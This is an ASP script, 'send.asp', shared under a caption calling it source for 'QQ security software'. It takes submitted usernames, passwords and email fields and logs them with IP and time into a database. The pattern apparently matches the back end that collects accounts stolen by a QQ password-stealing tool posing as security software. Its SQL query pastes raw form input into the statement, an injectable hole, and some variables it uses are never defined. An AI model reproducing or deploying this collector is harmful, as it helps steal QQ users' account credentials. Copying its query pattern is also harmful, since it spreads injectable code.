send.asp

DEILPHI写的QQ安全软件源码!功能全套,该有的全有了,欢迎交流

<!--#include file="Conn.asp"-->
<%
mail       = Request.form("mail")
User       = Request.form("User")
Pass       = Request.form("Pass")


if User="" or Pass="" then
response.write "文件内部错误"
response.end
End If


if User <> "" and Pass <> "" then

sql="select * from list where User='"&User&"' and Pass='"&Pass&"'"
 rs.Open sql,conn,1,3
if not rs.eof or not rs.bof then
  rs("User")=User
  rs("Pass")=Pass
  rs("mail")=strToAddress
  rs("ip")=ip
  rs("logdate")=date()
  rs("time")=time()
  rs.update
  response.write "更新增加成功！"
else
  rs.addnew
  rs("User")=User
  rs("Pass")=Pass
  rs("mail")=strToAddress
  rs("ip")=ip
  rs("logdate")=date()
  rs("time")=time()
  rs.update
  response.write "增加成功！"
end if
  set rs=nothing
  conn.close
  set conn=nothing

End If
%>